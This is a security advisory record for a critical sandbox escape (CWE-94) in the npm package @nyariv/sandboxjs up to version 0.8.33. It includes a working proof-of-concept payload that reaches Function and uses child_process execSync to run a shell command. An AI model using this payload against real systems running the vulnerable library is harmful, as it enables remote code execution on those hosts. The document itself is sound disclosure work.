GHSA-6r9f-759j-hjgv

Suggest an improvement
Source
https://github.com/advisories/GHSA-6r9f-759j-hjgv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6r9f-759j-hjgv/GHSA-6r9f-759j-hjgv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6r9f-759j-hjgv
Aliases
Published
2026-03-13T13:46:08Z
Modified
2026-03-16T17:16:38.369045Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
SandboxJS affected by a Sandbox Escape
Details

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T13:46:08Z",
    "cwe_ids": [
        "CWE-94"
    ],
    "severity": "CRITICAL",
    "nvd_published_at": "2026-03-13T19:54:31Z"
}
References

Affected packages

npm / @nyariv/sandboxjs

Package

Name
@nyariv/sandboxjs
View open source insights on deps.dev
Purl
pkg:npm/%40nyariv/sandboxjs

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.8.34

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6r9f-759j-hjgv/GHSA-6r9f-759j-hjgv.json"
last_known_affected_version_range
"<= 0.8.33"